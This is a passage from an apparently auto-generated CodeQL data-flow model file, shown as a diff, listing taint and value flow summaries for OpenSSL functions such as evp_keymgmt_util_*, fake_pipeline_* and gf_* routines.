"dtls_post_encryption_processing", "(OSSL_RECORD_LAYER *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_RL_RECORD *)", "", "Argument[1]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "dtls_prepare_record_header", "(OSSL_RECORD_LAYER *,WPACKET *,OSSL_RECORD_TEMPLATE *,uint8_t,unsigned char **)", "", "Argument[*4]", "Argument[**4]", "taint", "dfc-generated"] + - ["", "", True, "dtls_prepare_record_header", "(OSSL_RECORD_LAYER *,WPACKET *,OSSL_RECORD_TEMPLATE *,uint8_t,unsigned char **)", "", "Argument[4]", "Argument[**4]", "taint", "dfc-generated"] + - ["", "", True, "dtls_prepare_record_header", "(OSSL_RECORD_LAYER *,WPACKET *,OSSL_RECORD_TEMPLATE *,uint8_t,unsigned char **)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "dtls_process_hello_verify", "(SSL_CONNECTION *,PACKET *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "dtls_raw_hello_verify_request", "(WPACKET *,unsigned char *,size_t)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ec_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ec_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "ecparam_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ecparam_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "enc_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "enc_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "end_pkcs12_builder", "(PKCS12_BUILDER *)", "", "Argument[*0].Field[*success]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "engine_add_dynamic_id", "(ENGINE *,ENGINE_DYNAMIC_ID,int)", "", "Argument[*0]", "Argument[*0].Field[**prev_dyn].Field[**next_dyn]", "value", "dfc-generated"] + - ["", "", True, "engine_add_dynamic_id", "(ENGINE *,ENGINE_DYNAMIC_ID,int)", "", "Argument[0]", "Argument[*0].Field[**prev_dyn].Field[*next_dyn]", "value", "dfc-generated"] + - ["", "", True, "engine_add_dynamic_id", "(ENGINE *,ENGINE_DYNAMIC_ID,int)", "", "Argument[1]", "Argument[*0].Field[*dynamic_id]", "value", "dfc-generated"] + - ["", "", True, "engine_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "engine_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "engine_main", "(int,char **,char *[])", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "engine_main", "(int,char **,char *[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "engine_table_cleanup", "(ENGINE_TABLE **)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "engine_table_register", "(ENGINE_TABLE **,ENGINE_CLEANUP_CB *,ENGINE *,const int *,int,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "engine_table_unregister", "(ENGINE_TABLE **,ENGINE *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "engine_table_unregister", "(ENGINE_TABLE **,ENGINE *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "errstr_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "errstr_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "errstr_main", "(int,char **,char *[])", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "errstr_main", "(int,char **,char *[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "evp_asym_cipher_get_number", "(const EVP_ASYM_CIPHER *)", "", "Argument[*0].Field[*name_id]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "evp_cipher_get_number", "(const EVP_CIPHER *)", "", "Argument[*0].Field[*name_id]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "evp_cipher_param_to_asn1_ex", "(EVP_CIPHER_CTX *,ASN1_TYPE *,evp_cipher_aead_asn1_params *)", "", "Argument[*1]", "Argument[1]", "taint", "df-generated"] + - ["", "", True, "evp_encode_ctx_set_flags", "(EVP_ENCODE_CTX *,unsigned int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "evp_kdf_get_number", "(const EVP_KDF *)", "", "Argument[*0].Field[*name_id]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "evp_kem_get_number", "(const EVP_KEM *)", "", "Argument[*0].Field[*name_id]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "evp_keyexch_get_number", "(const EVP_KEYEXCH *)", "", "Argument[*0].Field[*name_id]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "evp_keymgmt_get_legacy_alg", "(const EVP_KEYMGMT *)", "", "Argument[*0].Field[*legacy_alg]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "evp_keymgmt_get_number", "(const EVP_KEYMGMT *)", "", "Argument[*0].Field[*name_id]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "evp_keymgmt_util_assign_pkey", "(EVP_PKEY *,EVP_KEYMGMT *,void *)", "", "Argument[**2]", "Argument[*0].Field[***keydata]", "value", "dfc-generated"] + - ["", "", True, "evp_keymgmt_util_assign_pkey", "(EVP_PKEY *,EVP_KEYMGMT *,void *)", "", "Argument[*2]", "Argument[*0].Field[**keydata]", "value", "dfc-generated"] + - ["", "", True, "evp_keymgmt_util_assign_pkey", "(EVP_PKEY *,EVP_KEYMGMT *,void *)", "", "Argument[1]", "Argument[*0].Field[*keymgmt]", "value", "dfc-generated"] + - ["", "", True, "evp_keymgmt_util_assign_pkey", "(EVP_PKEY *,EVP_KEYMGMT *,void *)", "", "Argument[2]", "Argument[*0].Field[*keydata]", "value", "dfc-generated"] + - ["", "", True, "evp_keymgmt_util_copy", "(EVP_PKEY *,EVP_PKEY *,int)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "evp_keymgmt_util_export_to_provider", "(EVP_PKEY *,EVP_KEYMGMT *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "evp_keymgmt_util_export_to_provider", "(EVP_PKEY *,EVP_KEYMGMT *,int)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "evp_keymgmt_util_export_to_provider", "(EVP_PKEY *,EVP_KEYMGMT *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "evp_keymgmt_util_find_operation_cache", "(EVP_PKEY *,EVP_KEYMGMT *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "evp_keymgmt_util_find_operation_cache", "(EVP_PKEY *,EVP_KEYMGMT *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "evp_keymgmt_util_fromdata", "(EVP_PKEY *,EVP_KEYMGMT *,int,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*0].Field[*keymgmt]", "value", "dfc-generated"] + - ["", "", True, "evp_keymgmt_util_gen", "(EVP_PKEY *,EVP_KEYMGMT *,void *,OSSL_CALLBACK *,void *)", "", "Argument[1]", "Argument[*0].Field[*keymgmt]", "value", "dfc-generated"] + - ["", "", True, "evp_keymgmt_util_get_deflt_digest_name", "(EVP_KEYMGMT *,void *,char *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "evp_keymgmt_util_make_pkey", "(EVP_KEYMGMT *,void *)", "", "Argument[**1]", "ReturnValue[*].Field[***keydata]", "value", "dfc-generated"] + - ["", "", True, "evp_keymgmt_util_make_pkey", "(EVP_KEYMGMT *,void *)", "", "Argument[*1]", "ReturnValue[*].Field[**keydata]", "value", "dfc-generated"] + - ["", "", True, "evp_keymgmt_util_make_pkey", "(EVP_KEYMGMT *,void *)", "", "Argument[0]", "ReturnValue[*].Field[*keymgmt]", "value", "dfc-generated"] + - ["", "", True, "evp_keymgmt_util_make_pkey", "(EVP_KEYMGMT *,void *)", "", "Argument[1]", "ReturnValue[*].Field[*keydata]", "value", "dfc-generated"] + - ["", "", True, "evp_keymgmt_util_query_operation_name", "(EVP_KEYMGMT *,int)", "", "Argument[*0].Field[**type_name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "evp_keymgmt_util_query_operation_name", "(EVP_KEYMGMT *,int)", "", "Argument[*0].Field[*type_name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "evp_mac_get_number", "(const EVP_MAC *)", "", "Argument[*0].Field[*name_id]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "evp_md_ctx_new_ex", "(EVP_PKEY *,const ASN1_OCTET_STRING *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "ReturnValue[*].Field[**pctx].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "evp_md_ctx_new_ex", "(EVP_PKEY *,const ASN1_OCTET_STRING *,OSSL_LIB_CTX *,const char *)", "", "Argument[*3]", "ReturnValue[*].Field[**pctx].Field[**propquery]", "value", "dfc-generated"] + - ["", "", True, "evp_md_ctx_new_ex", "(EVP_PKEY *,const ASN1_OCTET_STRING *,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[**pctx].Field[*pkey]", "value", "dfc-generated"] + - ["", "", True, "evp_md_ctx_new_ex", "(EVP_PKEY *,const ASN1_OCTET_STRING *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[**pctx].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "evp_md_ctx_new_ex", "(EVP_PKEY *,const ASN1_OCTET_STRING *,OSSL_LIB_CTX *,const char *)", "", "Argument[3]", "ReturnValue[*].Field[**pctx].Field[**propquery]", "taint", "dfc-generated"] + - ["", "", True, "evp_md_get_number", "(const EVP_MD *)", "", "Argument[*0].Field[*name_id]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "evp_names_do_all", "(OSSL_PROVIDER *,int,..(*)(..),void *)", "", "Argument[1]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "evp_pkey_copy_downgraded", "(EVP_PKEY **,const EVP_PKEY *)", "", "Argument[*1].Field[*type]", "Argument[**0].Field[*save_type]", "value", "dfc-generated"] + - ["", "", True, "evp_pkey_copy_downgraded", "(EVP_PKEY **,const EVP_PKEY *)", "", "Argument[*1].Field[*type]", "Argument[**0].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "evp_pkey_copy_downgraded", "(EVP_PKEY **,const EVP_PKEY *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "evp_pkey_ctx_get_params_strict", "(EVP_PKEY_CTX *,OSSL_PARAM *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "evp_pkey_ctx_get_params_to_ctrl", "(EVP_PKEY_CTX *,OSSL_PARAM *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "evp_pkey_ctx_set_params_strict", "(EVP_PKEY_CTX *,OSSL_PARAM *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "evp_pkey_ctx_set_params_to_ctrl", "(EVP_PKEY_CTX *,const OSSL_PARAM *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "evp_pkey_decrypt_alloc", "(EVP_PKEY_CTX *,unsigned char **,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "evp_pkey_decrypt_alloc", "(EVP_PKEY_CTX *,unsigned char **,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "evp_pkey_export_to_provider", "(EVP_PKEY *,OSSL_LIB_CTX *,EVP_KEYMGMT **,const char *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "evp_pkey_get0_DH_int", "(const EVP_PKEY *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "evp_pkey_get0_DH_int", "(const EVP_PKEY *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "evp_pkey_get0_EC_KEY_int", "(const EVP_PKEY *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "evp_pkey_get0_EC_KEY_int", "(const EVP_PKEY *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "evp_pkey_get0_RSA_int", "(const EVP_PKEY *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "evp_pkey_get0_RSA_int", "(const EVP_PKEY *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "evp_pkey_get_legacy", "(EVP_PKEY *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "evp_pkey_get_legacy", "(EVP_PKEY *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "evp_pkey_get_legacy", "(EVP_PKEY *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "evp_pkey_get_params_to_ctrl", "(const EVP_PKEY *,OSSL_PARAM *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "evp_pkey_set_cb_translate", "(BN_GENCB *,EVP_PKEY_CTX *)", "", "Argument[*1]", "Argument[*0].Field[**arg]", "value", "dfc-generated"] + - ["", "", True, "evp_pkey_set_cb_translate", "(BN_GENCB *,EVP_PKEY_CTX *)", "", "Argument[1]", "Argument[*0].Field[*arg]", "value", "dfc-generated"] + - ["", "", True, "evp_pkey_type2name", "(int)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "evp_pkey_type2name", "(int)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "evp_rand_can_seed", "(EVP_RAND_CTX *)", "", "Argument[*0].Field[**meth].Field[*get_seed]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "evp_rand_get_number", "(const EVP_RAND *)", "", "Argument[*0].Field[*name_id]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "evp_signature_get_number", "(const EVP_SIGNATURE *)", "", "Argument[*0].Field[*name_id]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "fake_cipher_start", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "fake_cipher_start", "(OSSL_LIB_CTX *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "fake_pipeline_aead_get_ctx_params", "(void *,OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "fake_pipeline_aead_set_ctx_params", "(void *,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "fake_pipeline_dinit", "(void *,const unsigned char *,size_t,size_t,const unsigned char **,size_t,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[*numpipes]", "value", "dfc-generated"] + - ["", "", True, "fake_pipeline_dinit", "(void *,const unsigned char *,size_t,size_t,const unsigned char **,size_t,const OSSL_PARAM[])", "", "Argument[4]", "Argument[*0].Field[**cipher_ctxs].Field[**oiv]", "taint", "dfc-generated"] + - ["", "", True, "fake_pipeline_dinit", "(void *,const unsigned char *,size_t,size_t,const unsigned char **,size_t,const OSSL_PARAM[])", "", "Argument[4]", "Argument[*0].Field[**cipher_ctxs].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "fake_pipeline_dinit", "(void *,const unsigned char *,size_t,size_t,const unsigned char **,size_t,const OSSL_PARAM[])", "", "Argument[4]", "Argument[*0].Field[**cipher_ctxs].Field[*oiv]", "taint", "dfc-generated"] + - ["", "", True, "fake_pipeline_einit", "(void *,const unsigned char *,size_t,size_t,const unsigned char **,size_t,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[*numpipes]", "value", "dfc-generated"] + - ["", "", True, "fake_pipeline_einit", "(void *,const unsigned char *,size_t,size_t,const unsigned char **,size_t,const OSSL_PARAM[])", "", "Argument[4]", "Argument[*0].Field[**cipher_ctxs].Field[**oiv]", "taint", "dfc-generated"] + - ["", "", True, "fake_pipeline_einit", "(void *,const unsigned char *,size_t,size_t,const unsigned char **,size_t,const OSSL_PARAM[])", "", "Argument[4]", "Argument[*0].Field[**cipher_ctxs].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "fake_pipeline_einit", "(void *,const unsigned char *,size_t,size_t,const unsigned char **,size_t,const OSSL_PARAM[])", "", "Argument[4]", "Argument[*0].Field[**cipher_ctxs].Field[*oiv]", "taint", "dfc-generated"] + - ["", "", True, "fake_pipeline_final", "(void *,size_t,unsigned char **,size_t *,const size_t *)", "", "Argument[*2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "fake_pipeline_start", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "fake_pipeline_start", "(OSSL_LIB_CTX *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "fake_pipeline_update", "(void *,size_t,unsigned char **,size_t *,const size_t *,const unsigned char **,const size_t *)", "", "Argument[**2]", "Argument[*0].Field[**cipher_ctxs].Field[*final]", "value", "dfc-generated"] + - ["", "", True, "fake_pipeline_update", "(void *,size_t,unsigned char **,size_t *,const size_t *,const unsigned char **,const size_t *)", "", "Argument[**5]", "Argument[*0].Field[**cipher_ctxs].Field[*buf]", "value", "dfc-generated"] + - ["", "", True, "fake_pipeline_update", "(void *,size_t,unsigned char **,size_t *,const size_t *,const unsigned char **,const size_t *)", "", "Argument[*2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "fake_pipeline_update", "(void *,size_t,unsigned char **,size_t *,const size_t *,const unsigned char **,const size_t *)", "", "Argument[*2]", "Argument[*0].Field[**cipher_ctxs].Field[*final]", "taint", "dfc-generated"] + - ["", "", True, "fake_pipeline_update", "(void *,size_t,unsigned char **,size_t *,const size_t *,const unsigned char **,const size_t *)", "", "Argument[*5]", "Argument[*0].Field[**cipher_ctxs].Field[*buf]", "taint", "dfc-generated"] + - ["", "", True, "fake_pipeline_update", "(void *,size_t,unsigned char **,size_t *,const size_t *,const unsigned char **,const size_t *)", "", "Argument[*6]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "fake_pipeline_update", "(void *,size_t,unsigned char **,size_t *,const size_t *,const unsigned char **,const size_t *)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "fake_pipeline_update", "(void *,size_t,unsigned char **,size_t *,const size_t *,const unsigned char **,const size_t *)", "", "Argument[2]", "Argument[*0].Field[**cipher_ctxs].Field[*final]", "taint", "dfc-generated"] + - ["", "", True, "fake_pipeline_update", "(void *,size_t,unsigned char **,size_t *,const size_t *,const unsigned char **,const size_t *)", "", "Argument[5]", "Argument[*0].Field[**cipher_ctxs].Field[*buf]", "taint", "dfc-generated"] + - ["", "", True, "fake_rand_set_callback", "(EVP_RAND_CTX *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[**algctx].Field[*cb]", "value", "dfc-generated"] + - ["", "", True, "fake_rand_start", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "fake_rand_start", "(OSSL_LIB_CTX *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "fake_rsa_start", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "fake_rsa_start", "(OSSL_LIB_CTX *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "feof_unlocked", "(FILE *)", "", "Argument[*0].Field[*_flags]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ferror_unlocked", "(FILE *)", "", "Argument[*0].Field[*_flags]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "fgetc_unlocked", "(FILE *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "filter_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[*0]", "Argument[**3].Field[**handle]", "value", "dfc-generated"] + - ["", "", True, "filter_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[0]", "Argument[**3].Field[*handle]", "value", "dfc-generated"] + - ["", "", True, "filter_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "filter_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "fipsinstall_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "fipsinstall_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "fputc_unlocked", "(int,FILE *)", "", "Argument[0]", "Argument[*1].Field[**_IO_write_ptr]", "value", "dfc-generated"] + - ["", "", True, "fread_unlocked", "(void *__restrict__,size_t,size_t,FILE *__restrict__)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "fread_unlocked", "(void *__restrict__,size_t,size_t,FILE *__restrict__)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "gendsa_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "gendsa_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "generic_import", "(void *,int,const OSSL_PARAM[])", "", "Argument[*0].Field[**libctx]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "generic_import", "(void *,int,const OSSL_PARAM[])", "", "Argument[*0].Field[*libctx]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "generic_import", "(void *,int,const OSSL_PARAM[])", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "genpkey_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "genpkey_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "genrsa_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "genrsa_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "get_ca_names", "(SSL_CONNECTION *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "get_ca_names", "(SSL_CONNECTION *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "get_passwd", "(const char *,const char *)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "get_passwd", "(const char *,const char *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "getc_unlocked", "(FILE *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "getline", "(char **,char **__restrict__,size_t *,size_t *__restrict__,FILE *,FILE *__restrict__)", "", "Argument[*2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "getline", "(char **,char **__restrict__,size_t *,size_t *__restrict__,FILE *,FILE *__restrict__)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "gf_add", "(gf,const gf,const gf)", "", "Argument[*1].Field[*limb]", "Argument[*0].Field[*limb]", "taint", "dfc-generated"] + - ["", "", True, "gf_add", "(gf,const gf,const gf)", "", "Argument[*2].Field[*limb]", "Argument[*0].Field[*limb]", "taint", "dfc-generated"] + - ["", "", True, "gf_deserialize", "(gf,const uint8_t[56],int,uint8_t)", "", "Argument[*0].Field[*limb]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "gf_deserialize", "(gf,const uint8_t[56],int,uint8_t)", "", "Argument[*1]", "Argument[*0].Field[*limb]", "taint", "dfc-generated"] + - ["", "", True, "gf_deserialize", "(gf,const uint8_t[56],int,uint8_t)", "", "Argument[*1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "gf_deserialize", "(gf,const uint8_t[56],int,uint8_t)", "", "Argument[1]", "Argument[*0].Field[*limb]", "taint", "dfc-generated"] + - ["", "", True, "gf_deserialize", "(gf,const uint8_t[56],int,uint8_t)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "gf_deserialize", "(gf,const uint8_t[56],int,uint8_t)", "", "Argument[3]", "Argument[*0].Field[*limb]", "taint", "dfc-generated"] + - ["", "", True, "gf_deserialize", "(gf,const uint8_t[56],int,uint8_t)", "", "Argument[3]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "gf_eq", "(const gf,const gf)", "", "Argument[*0].Field[*limb]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "gf_eq", "(const gf,const gf)", "", "Argument[*1].Field[*limb]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "gf_hibit", "(const gf)", "", "Argument[*0].Field[*limb]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "gf_lobit", "(const gf)", "", "Argument[*0].Field[*limb]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "gf_lobit", "(const gf)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "gf_serialize", "(uint8_t[56],const gf,int)", "", "Argument[*1].Field[*limb]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "gf_serialize", "(uint8_t[56],const gf,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "gf_sub", "(gf,const gf,const gf)", "", "Argument[*1].Field[*limb]", "Argument[*0].Field[*limb]", "taint", "dfc-generated"] + - ["", "", True, "gf_sub", "(gf,const gf,const gf)", "", "Argument[*2].Field[*limb]", "Argument[*0].Field[*limb]", "taint", "dfc-generated"] + - ["", "", True, "help_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "help_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "http_server_get_asn1_req", "(const ASN1_ITEM *,ASN1_VALUE **,char **,BIO **,BIO *,int *,const char *,int,int)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "http_server_get_asn1_req", "(const ASN1_ITEM *,ASN1_VALUE **,char **,BIO **,BIO *,int *,const char *,int,int)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "http_server_send_asn1_resp", "(const char *,BIO *,int,const char *,const ASN1_ITEM *,const ASN1_VALUE *)", "", "Argument[*4]", "Argument[5]", "taint", "df-generated"] + - ["", "", True, "http_server_send_asn1_resp", "(const char *,BIO *,int,const char *,const ASN1_ITEM *,const ASN1_VALUE *)", "", "Argument[*5]", "Argument[5]", "value", "df-generated"] + - ["", "", True, "i2b_PVK_bio", "(BIO *,const EVP_PKEY *,int,pem_password_cb *,void *)", "", "Argument[*4]", "Argument[**4]", "value", "df-generated"] + - ["", "", True, "i2b_PVK_bio", "(BIO *,const EVP_PKEY *,int,pem_password_cb *,void *)", "", "Argument[4]", "Argument[**4]", "taint", "dfc-generated"] + - ["", "", True, "i2b_PVK_bio_ex", "(BIO *,const EVP_PKEY *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*4]", "Argument[**4]", "value", "df-generated"] + - ["", "", True, "i2b_PVK_bio_ex", "(BIO *,const EVP_PKEY *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[4]", "Argument[**4]", "taint", "dfc-generated"] + - ["", "", True, "i2d_ACCESS_DESCRIPTION", "(const ACCESS_DESCRIPTION *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ACCESS_DESCRIPTION", "(const ACCESS_DESCRIPTION *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ACCESS_DESCRIPTION", "(const ACCESS_DESCRIPTION *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ACCESS_DESCRIPTION", "(const ACCESS_DESCRIPTION 